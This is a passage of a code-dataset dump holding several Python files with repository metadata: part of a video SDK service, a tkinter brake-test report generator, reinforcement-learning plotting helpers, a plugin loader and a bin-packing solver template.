self.json('SubmitTemplateTaskAsync', {}, body)\n        if res == '':\n            raise Exception(\"empty response\")\n        res_json = json.loads(res)\n        return res_json\n", "repo_name": "TTvcloud/vcloud-sdk-python", "sub_path": "ttvcloud/edit/EditService.py", "file_name": "EditService.py", "file_ext": "py", "file_size_in_byte": 3557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ttvcloud.base.Service.Service", "line_number": 11, "usage_type": "name"}, {"api_name": "threading.Lock", "line_number": 12, "usage_type": "call"}, {"api_name": "ttvcloud.ServiceInfo.ServiceInfo", "line_number": 29, "usage_type": "call"}, {"api_name": "ttvcloud.Credentials.Credentials", "line_number": 30, "usage_type": "call"}, {"api_name": "ttvcloud.ServiceInfo.ServiceInfo", "line_number": 31, "usage_type": "call"}, {"api_name": "ttvcloud.Credentials.Credentials", "line_number": 32, "usage_type": "call"}, {"api_name": "ttvcloud.ServiceInfo.ServiceInfo", "line_number": 33, "usage_type": "call"}, {"api_name": "ttvcloud.Credentials.Credentials", "line_number": 34, "usage_type": "call"}, {"api_name": "ttvcloud.ApiInfo.ApiInfo", "line_number": 44, "usage_type": "call"}, {"api_name": "ttvcloud.ApiInfo.ApiInfo", "line_number": 46, "usage_type": "call"}, {"api_name": "ttvcloud.ApiInfo.ApiInfo", "line_number": 48, "usage_type": "call"}, {"api_name": "ttvcloud.ApiInfo.ApiInfo", "line_number": 50, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 59, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 66, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 73, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 80, "usage_type": "call"}]}
{"seq_id": "29915419640", "text": "import tkinter as tk\nfrom tkinter import filedialog\nfrom tkinter import simpledialog\nimport matplotlib\n\nmatplotlib.use(\"TkAgg\")\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport Datasci\n\n# Functions for the buttons of the GUI\ndef givedata():\n    \"\"\"\n    Take input from user about the details of the vehicle being tested\n    \"\"\"\n    Make = simpledialog.askstring(\n        \"Input\", \"What is the Make of the Test Vehicle\", parent=root\n    )\n    if Make is not None:\n        print(Make)\n\n    Model = simpledialog.askstring(\n        \"Input\", \"What is the Model of the Test Vehicle\", parent=root\n    )\n    if Model is not None:\n        print(Model)\n\n    Year = simpledialog.askinteger(\n        \"Input\", \"What is year of the model?\", parent=root, minvalue=0, maxvalue=2025\n    )\n    if Year is not None:\n        print(Year)\n\n    Dateformat = simpledialog.askstring(\n        \"Input\", \"What is the date? (format: xx/xx/xx)\", parent=root\n    )\n    if Dateformat is not None:\n        print(Dateformat)\n\n    Submodel = simpledialog.askstring(\n        \"Input\",\n        \"What is the submodel of the vehicle?\",\n        parent=root,\n    )\n    if Submodel is not None:\n        print(Submodel)\n\n    tire_size = simpledialog.askstring(\n        \"Input\",\n        \"What is the tire size? (Front/Rear) [cm]\",\n        parent=root,\n    )\n    if tire_size is not None:\n        print(tire_size)\n\n    rolling_radius = simpledialog.askstring(\n        \"Input\",\n        \"What is the rolling radius size? (Front/Rear) [cm]\",\n        parent=root,\n    )\n    if rolling_radius is not None:\n        print(rolling_radius)\n\n    vehicle_weight = simpledialog.askinteger(\n        \"Input\",\n        \"What is gross vehicle weight of the vehicle? [kgf],[N]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=10000,\n    )\n    if vehicle_weight is not None:\n        print(vehicle_weight)\n\n    cg_height = simpledialog.askinteger(\n        \"Input\",\n        \"What is the height of the center of gravity? [m]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=2025,\n    )\n    if cg_height is not None:\n        print(cg_height)\n\n    wheelbase = simpledialog.askinteger(\n        \"Input\",\n        \"What is length  of the wheelbase? [m]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=2025,\n    )\n    if wheelbase is not None:\n        print(wheelbase)\n\n    brake_brand = simpledialog.askstring(\n        \"Input\",\n        \"What is the name/brand of the brake?\",\n        parent=root,\n    )\n    if brake_brand is not None:\n        print(brake_brand)\n\n    brake_size = simpledialog.askstring(\n        \"Input\",\n        \"What is the brake size? (eff.radius/outside diam./thickness)[mm]\",\n        parent=root,\n    )\n    if brake_size is not None:\n        print(brake_size)\n\n    caliper_size = simpledialog.askstring(\n        \"Input\",\n        \"What is the caliper size? (piston diameter/number of pistons)[mm]\",\n        parent=root,\n    )\n    if caliper_size is not None:\n        print(caliper_size)\n\n    length_pad = simpledialog.askinteger(\n        \"Input\",\n        \"What is the length of the Lining (pad) in the sliding direction? [mm]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=500,\n    )\n    if length_pad is not None:\n        print(length_pad)\n\n    width_pad = simpledialog.askinteger(\n        \"Input\",\n        \"What is the width of the Lining (pad) in the perpendicular direction? [mm]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=500,\n    )\n    if width_pad is not None:\n        print(width_pad)\n\n    thickness_pad = simpledialog.askinteger(\n        \"Input\",\n        \"What is the thickness of the Lining (pad)? [mm]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=500,\n    )\n    if thickness_pad is not None:\n        print(thickness_pad)\n\n    area_pad = simpledialog.askinteger(\n        \"Input\",\n        \"What is the area of the Lining (pad)? [mm^2]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=5000,\n    )\n    if area_pad is not None:\n        print(area_pad)\n\n    wheel_drive = simpledialog.askstring(\n        \"Input\",\n        \"What kind of drive system does the vehicle have? (FX2/RX2,AWD,4WD)\",\n        parent=root,\n    )\n    if wheel_drive is not None:\n        print(wheel_drive)\n\n    inertia = simpledialog.askinteger(\n        \"Input\",\n        \"What is the calculated Inertia? [kgm^2]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=5000,\n    )\n    if inertia is not None:\n        print(inertia)\n\n    shaft_speed = simpledialog.askinteger(\n        \"Input\",\n        \"What is the shaft speed at 50 km/h? [km/h]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=5000,\n    )\n    if shaft_speed is not None:\n        print(shaft_speed)\n\n    braking_torque = simpledialog.askinteger(\n        \"Input\",\n        \"What is the braking torque at 0.3g? [N*m]\",\n        parent=root,\n        minvalue=0,\n        maxvalue=5000,\n    )\n    if braking_torque is not None:\n        print(braking_torque)\n\n    friction_material = simpledialog.askstring(\n        \"Input\",\n        \"What is the friction material on the pad?\",\n        parent=root,\n    )\n    if friction_material is not None:\n        print(friction_material)\n\n    return [\n        Make,\n        Model,\n        Dateformat,\n        Year,\n        Submodel,\n        vehicle_weight,\n        cg_height,\n        wheelbase,\n        rolling_radius,\n        tire_size,\n        brake_brand,\n        brake_size,\n        thickness_pad,\n        caliper_size,\n        length_pad,\n        width_pad,\n        wheel_drive,\n        inertia,\n        shaft_speed,\n        braking_torque,\n        friction_material,\n        area_pad,\n    ]\n\n\ndef PDFconverter():\n    \"\"\"\n    convert HTML into PDF dyanamically\n    \"\"\"\n    # tools for creating variable template environment converting HTML to PDF\n    from jinja2 import Environment, FileSystemLoader\n    from weasyprint import HTML, CSS\n\n    # loading the HTML file into an environment to pass variables to it\n    file_loader = FileSystemLoader(\".\")\n    env = Environment(loader=file_loader)\n    template = env.get_template(\"FDPBrakes/base.html\")\n\n    # list of variables to pass\n    [\n        Make,\n        Model,\n        Dateformat,\n        Year,\n        Submodel,\n        vehicle_weight,\n        cg_height,\n        wheelbase,\n        rolling_radius,\n        tire_size,\n        brake_brand,\n        brake_size,\n        thickness_pad,\n        caliper_size,\n        length_pad,\n        width_pad,\n        wheel_drive,\n        inertia,\n        shaft_speed,\n        braking_torque,\n        friction_material,\n        area_pad,\n    ] = givedata()\n    [\n        figure1,\n        figure2,\n        figure3,\n        figure4,\n        figure5,\n        figure6,\n        figure7,\n        figure8,\n    ] = DataSci2()\n    template_vars = {\n        \"Report_Standard\": Make,\n        \"Make_And_Model\": Model,\n        \"Dateformat\": Dateformat,\n        \"Year\": Year,\n        \"Submodel\": Submodel,\n        \"vehicle_weight\": vehicle_weight,\n        \"cg_height\": cg_height,\n        \"wheelbase\": wheelbase,\n        \"rolling_radius\": rolling_radius,\n        \"tire_size\": tire_size,\n        \"brake_brand\": brake_brand,\n        \"brake_size\": brake_size,\n        \"thickness_pad\": thickness_pad,\n        \"caliper_size\": caliper_size,\n        \"length_pad\": length_pad,\n        \"width_pad\": width_pad,\n        \"wheel_drive\": wheel_drive,\n        \"shaft_speed\": shaft_speed,\n        \"braking_torque\": braking_torque,\n        \"friction_material\": friction_material,\n        \"area_pad\": area_pad,\n        \"inertia\": inertia,\n        \"fig2_1\": figure1,\n        \"fig2_2\": figure2,\n        \"fig2_3\": figure3,\n        \"fig2_4\": figure4,\n        \"fig2_5\": figure5,\n        \"fig2_6\": figure6,\n        \"fig2_7\": figure7,\n        \"fig2_8\": figure8,\n        \"fig_1\": Datasci.fig1,\n        \"fig_2\": Datasci.fig2,\n        \"fig_3\": Datasci.fig3,\n        \"fig_4\": Datasci.fig4,\n        \"fig_5\": Datasci.fig5,\n        \"fig_7\": Datasci.fig7,\n    }\n\n    # Rendering the variables in and then converting the HTML to PDF\n    html_out = template.render(template_vars)\n    HTML(string=html_out, base_url=\".\").write_pdf(\n        \"mockreport.pdf\",\n        stylesheets=[\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/FDPBrakes/Static/basic.css\"\n        ],\n    )\n\n\ndef getdata():\n    \"\"\"\n    prompt user for path of the excel file that contains all the test data\n    \"\"\"\n    file_path = filedialog.askopenfilename(\n        title=\"Select File\", filetypes=[(\"Excel files\", \".xlsx .xls\")]\n    )\n    return file_path\n\n\ndef DataSci2():\n    \"\"\" This module takes in data and creates graphs from the dataframes\"\"\"\n    data_path = getdata()\n    df1 = pd.read_excel(data_path, sheet_name=\"Three Sections\")\n    df1 = df1[df1[\"Final Temp\"] > 0]\n    df2 = pd.read_excel(data_path, sheet_name=\"Three Sections #2\")\n\n    sns.set_palette(\"bright\")\n\n    def figure1():\n        figure1 = sns.lineplot(\n            x=\"Stop Number\",\n            y=\"Friction Level\",\n            data=df1,\n            hue=\"Test Section\",\n        )\n        return figure1.figure.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure1.svg\"\n        )\n\n    def figure2():\n        figure2 = sns.lineplot(\n            x=\"Stop Number\",\n            y=\"Friction Level\",\n            hue=\"Test Section\",\n            palette=\"bright\",\n            data=df2,\n        )\n        return figure2.figure.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure2.svg\"\n        )\n\n    def figure3():\n        figure3 = sns.relplot(\n            x=\"Friction Level\",\n            y=\"Final Temp\",\n            col=\"Test Section\",\n            palette=\"bright\",\n            kind=\"line\",\n            data=df1,\n        )\n        return figure3.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure3.svg\"\n        )\n\n    def figure4():\n        figure4 = sns.relplot(\n            x=\"Friction Level\",\n            y=\"Final Temp\",\n            col=\"Test Section\",\n            palette=\"bright\",\n            kind=\"scatter\",\n            data=df2,\n        )\n        return figure4.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure4.svg\"\n        )\n\n    def figure5():\n        figure5 = sns.catplot(x=\"Test Section\", y=\"Friction Level\", data=df1)\n        return figure5.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure5.svg\"\n        )\n\n    def figure6():\n        fig6 = sns.catplot(\n            x=\"Test Section\", y=\"Friction Level\", kind=\"violin\", data=df2\n        )\n        return fig6.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure6.svg\"\n        )\n\n    def figure7():\n        fig7 = sns.boxplot(x=\"Test Section\", y=\"Friction Level\", data=df1, whis=np.inf)\n        fig7 = sns.stripplot(x=\"Test Section\", y=\"Friction Level\", data=df1, color=\".3\")\n        return fig7.figure.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure7.svg\"\n        )\n\n    def figure8():\n        y = df1.groupby([\"Test Section\"]).mean()\n        fig8 = sns.barplot(x=\"Test Section\", y=\"Friction Level\", data=y.reset_index())\n        return fig8.figure.savefig(\n            \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure8.svg\"\n        )\n\n    plt.clf()\n    figure1()\n    plt.clf()\n    figure2()\n    plt.clf()\n    figure3()\n    plt.clf()\n    figure4()\n    plt.clf()\n    figure6()\n    plt.clf()\n    figure5()\n    plt.clf()\n    figure7()\n    plt.clf()\n    figure8()\n\n    figure1 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure1.svg\"\n    figure2 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure2.svg\"\n    figure3 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure3.svg\"\n    figure4 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure4.svg\"\n    figure5 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure5.svg\"\n    figure6 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure6.svg\"\n    figure7 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure7.svg\"\n    figure8 = \"/Users/Ty/Desktop/FDP_brakes_proj_local/Figures/figure8.svg\"\n    return [figure1, figure2, figure3, figure4, figure5, figure6, figure7, figure8]\n\n\nif __name__ == \"__main__\":\n    root = tk.Tk()\n    b1 = tk.Button(\n        root, text=\"Input Variables, Select Excel Sheet, and Run\", command=PDFconverter\n    )\n    b1.pack()\n    root.mainloop()\n", "repo_name": "Tyrhen/FDPBrakes", "sub_path": "Source.py", "file_name": "Source.py", "file_ext": "py", "file_size_in_byte": 12352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.use", "line_number": 6, "usage_type": "call"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 18, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 18, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 24, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 24, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 30, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 30, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 36, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 42, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 42, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 50, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 50, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 58, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 66, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 76, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 76, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 86, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 86, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 96, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 96, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 104, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 104, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 112, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 112, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 120, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 120, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 130, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 130, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 140, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 140, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 150, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 150, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 160, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 160, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 168, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 168, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 178, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 178, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 188, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 188, "usage_type": "name"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 198, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 198, "usage_type": "name"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 241, "usage_type": "call"}, {"api_name": "jinja2.Environment", "line_number": 242, "usage_type": "call"}, {"api_name": "Datasci.fig1", "line_number": 311, "usage_type": "attribute"}, {"api_name": "Datasci.fig2", "line_number": 312, "usage_type": "attribute"}, {"api_name": "Datasci.fig3", "line_number": 313, "usage_type": "attribute"}, {"api_name": "Datasci.fig4", "line_number": 314, "usage_type": "attribute"}, {"api_name": "Datasci.fig5", "line_number": 315, "usage_type": "attribute"}, {"api_name": "Datasci.fig7", "line_number": 316, "usage_type": "attribute"}, {"api_name": "weasyprint.HTML", "line_number": 321, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 333, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 333, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 342, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 344, "usage_type": "call"}, {"api_name": "seaborn.set_palette", "line_number": 346, "usage_type": "call"}, {"api_name": "seaborn.lineplot", "line_number": 349, "usage_type": "call"}, {"api_name": "seaborn.lineplot", "line_number": 360, "usage_type": "call"}, {"api_name": "seaborn.relplot", "line_number": 372, "usage_type": "call"}, {"api_name": "seaborn.relplot", "line_number": 385, "usage_type": "call"}, {"api_name": "seaborn.catplot", "line_number": 398, "usage_type": "call"}, {"api_name": "seaborn.catplot", "line_number": 404, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 412, "usage_type": "attribute"}, {"api_name": "seaborn.stripplot", "line_number": 413, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 420, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 425, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 425, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 427, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 427, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 429, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 429, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 431, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 431, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 433, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 433, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 435, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 435, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 437, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 437, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 439, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 439, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 454, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 455, "usage_type": "call"}]}
{"seq_id": "11545487477", "text": "import sys\nfrom typing import Union\n\nsys.path.append(\"..\")\n\nfrom utils import constants\n\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\n\n\nmatplotlib.style.use(\"seaborn-dark\")\n\n\ndef save_episode_duration_graph(\n    filename: str,\n    durations: list,\n    learner: str,\n    beaten: Union[int, bool],\n    mean_length: int = 10,\n) -> None:\n    \"\"\"Creates and saves a plot of episode durations average over the mean length\n    puts a vertical line in where the game was beaten for the first time\n\n    Parameters\n    ----------\n    filename : str\n        name of the file to be saved with its location\n    durations : list\n        list of the duration of each episode over training\n    learner : str\n        name of the learner\n    beaten : int or bool\n        an integer of which episode beat the game for the first time, or a bool = False\n        showing that the game was never beaten\n    mean_length : int, optional\n        the period over which to calculate running averages, by default 10\n    \"\"\"\n    assert beaten > 0 or beaten == False, \"beaten must be a positive integer or False\"\n    assert mean_length > 0, \"mean length must be a positive integer\"\n    fig, ax = plt.subplots(dpi=600)\n    ax.set_xlabel(\"Episode\")\n    ax.set_ylabel(\"Episode duration\")\n    ax.set_title(f\"Episode duration mean over {mean_length} episodes for {learner}\")\n    means = [\n        np.array(durations[x : x + mean_length]).mean()\n        for x in range(len(durations) - mean_length)\n    ]\n    ax.plot(\n        [i for i in range(mean_length, len(durations))],\n        means,\n        color=\"green\",\n        linewidth=2,\n    )\n    ax.annotate(\n        f\"{len(durations)} episodes\",\n        (len(durations) - 1, means[-1]),\n        xytext=(len(durations) - 1 + 200, means[-1]),\n    )\n    if beaten:\n        plt.axvline(x=beaten)\n        plt.text(x=beaten + 5, y=min(means) + 10, s=\"Game beaten\", rotation=90)\n    ax.grid()\n    fig.savefig(filename)\n\n\ndef save_episode_reward_graph(\n    filename: str,\n    rewards: list,\n    learner: str,\n    proportion_decay_over: float,\n    episodes: int,\n    beaten: int,\n    mean_length: int = 10,\n) -> None:\n    \"\"\"Creates and saves a plot of episode durations average over the mean length\n    puts a vertical line in where the game was beaten for the first time. Also puts\n    a vertical line where epsilon was decayed to its minimal value\n\n    Parameters\n    ----------\n    filename : str\n        name of the file to be saved with its location\n    rewards : list\n        list of episode rewards\n    learner : str\n        name of the learner\n    proportion_decay_over : float\n        proportion as a decimal for which epsilon was decayed over\n    episodes : int\n        number of episodes that were used for training\n    beaten : int\n        integer for which the game was beaten first or False showing game was not beaten\n    mean_length : int, optional\n        length to calculate the running average over, by default 10\n    \"\"\"\n    assert (\n        0 < proportion_decay_over <= 1\n    ), \"proportion to decay over should be a decimal between 0 and 1\"\n    assert i > 0 or i == False, \"beaten must be a positive integer or False\"\n    assert mean_length > 0, \"mean length must be a positive integer\"\n    fig, ax = plt.subplots(dpi=600)\n    ax.set_xlabel(\"Episode\")\n    ax.set_ylabel(\"Episode total reward\")\n    ax.set_title(f\"Episode reward mean over {mean_length} episodes for {learner}\")\n    means = [\n        np.array(rewards[x : x + mean_length]).mean()\n        for x in range(len(rewards) - mean_length)\n    ]\n    ax.plot(\n        [i for i in range(mean_length, len(rewards))],\n        means,\n        color=\"green\",\n        linewidth=2,\n    )\n    ax.grid()\n    plt.axvline(x=proportion_decay_over * episodes)\n    plt.text(\n        x=proportion_decay_over * episodes + 5,\n        y=min(means) + 10,\n        s=\"Epsilon fully decayed\",\n        rotation=90,\n    )\n    if beaten:\n        plt.axvline(x=beaten, color=\"r\")\n        plt.text(x=beaten + 5, y=min(means) + 10, s=\"Game beaten\", rotation=90)\n    fig.savefig(filename)\n\n\ndef save_unique_states_graph(filename: str, unique_states: list, learner: str) -> None:\n    \"\"\"Plots the cumulative number of unique states that have been seen at each\n    stage of learning\n\n    Parameters\n    ----------\n    filename : str\n        Name of file to be saved and location\n    unique_states : list\n        List of unique states (cumulative) seen at each stage of learning\n    learner : str\n        Name of learner\n    \"\"\"\n    fig, ax = plt.subplots(dpi=600)\n    ax.set_xlabel(\"Episode\")\n    ax.set_ylabel(\"Unique states\")\n    ax.set_title(f\"Number of unique states seen for {learner}\")\n    ax.plot(\n        [i for i in range(len(unique_states))],\n        unique_states,\n        color=\"green\",\n        linewidth=2,\n    )\n    ax.grid()\n    fig.savefig(filename)\n", "repo_name": "sjhatfield/babyberry", "sub_path": "visualization/plots.py", "file_name": "plots.py", "file_ext": "py", "file_size_in_byte": 4839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.style.use", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.style", "line_number": 13, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}]}
{"seq_id": "30009765831", "text": "import importlib\nimport traceback\nimport xcalar.container.context as ctx\n\nlogger = ctx.get_logger()\n\n\ndef dynaload(name, path):\n    try:\n        spec = importlib.util.spec_from_file_location(name, path)\n        if spec is None:\n            raise Exception(f'No {name} plugin found in {path}')\n        return spec.loader.load_module()\n    except Exception as e:\n        logger.warn(\n            f'Failed to load {name} from {path}\\n{traceback.format_exc()}')\n        raise e\n", "repo_name": "varlogtim/xcalar", "sub_path": "src/bin/sdk/xpu/xcalar/container/kafka/lib_loader.py", "file_name": "lib_loader.py", "file_ext": "py", "file_size_in_byte": 474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "xcalar.container.context.get_logger", "line_number": 5, "usage_type": "call"}, {"api_name": "xcalar.container.context", "line_number": 5, "usage_type": "name"}, {"api_name": "importlib.util.spec_from_file_location", "line_number": 10, "usage_type": "call"}, {"api_name": "importlib.util", "line_number": 10, "usage_type": "attribute"}, {"api_name": "traceback.format_exc", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "24289308848", "text": "from data import BinPackingExample, Lister, FFD\nimport itertools\n\n# Select the one you intend to use\nimport gurobipy as gp\nimport pyomo as po\nimport pyscipopt as pso\nimport mip \n\n\n\ndef bpp(s, B):\n    n = len(s)\n    U = len(FFD(s, B))\n\n    # Write here Your model for the compact formulation\n    return model\n\n\ndef solveBinPacking(s, B):\n    n = len(s)\n    U = len(FFD(s, B))\n    model = bpp(s, B)\n    ## adapt here depending on the solver \n    solver = po.SolverFactory('glpk')\n    results = solver.solve(model)\n    bins = [[] for i in range(U)]\n    for (i, j) in model.var_indices:\n        if model.x[i, j]() > .5:\n            bins[j].append(s[i])\n    for i in range(bins.count([])):\n        bins.remove([])\n    for b in bins:\n        b.sort()\n    bins.sort()\n    return bins\n\n\nif __name__ == '__main__':\n    # s, B = Lister()\n    s, B = BinPackingExample()    \n    bins = solveBinPacking(s, B)\n    print(len(bins))\n    for b in bins:\n        print((b, sum(b)))\n", "repo_name": "DM872/Material", "sub_path": "BinPacking/compact_template.py", "file_name": "compact_template.py", "file_ext": "py", "file_size_in_byte": 963, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "data.FFD", "line_number": 14, "usage_type": "call"}, {"api_name": "data.FFD", "line_number": 22, "usage_type": "call"}, {"api_name": "pyomo.SolverFactory", "line_number": 25, "usage_type": "call"}, {"api_name": "data.BinPackingExample", "line_number": 41, "usage_type": "call"}]}
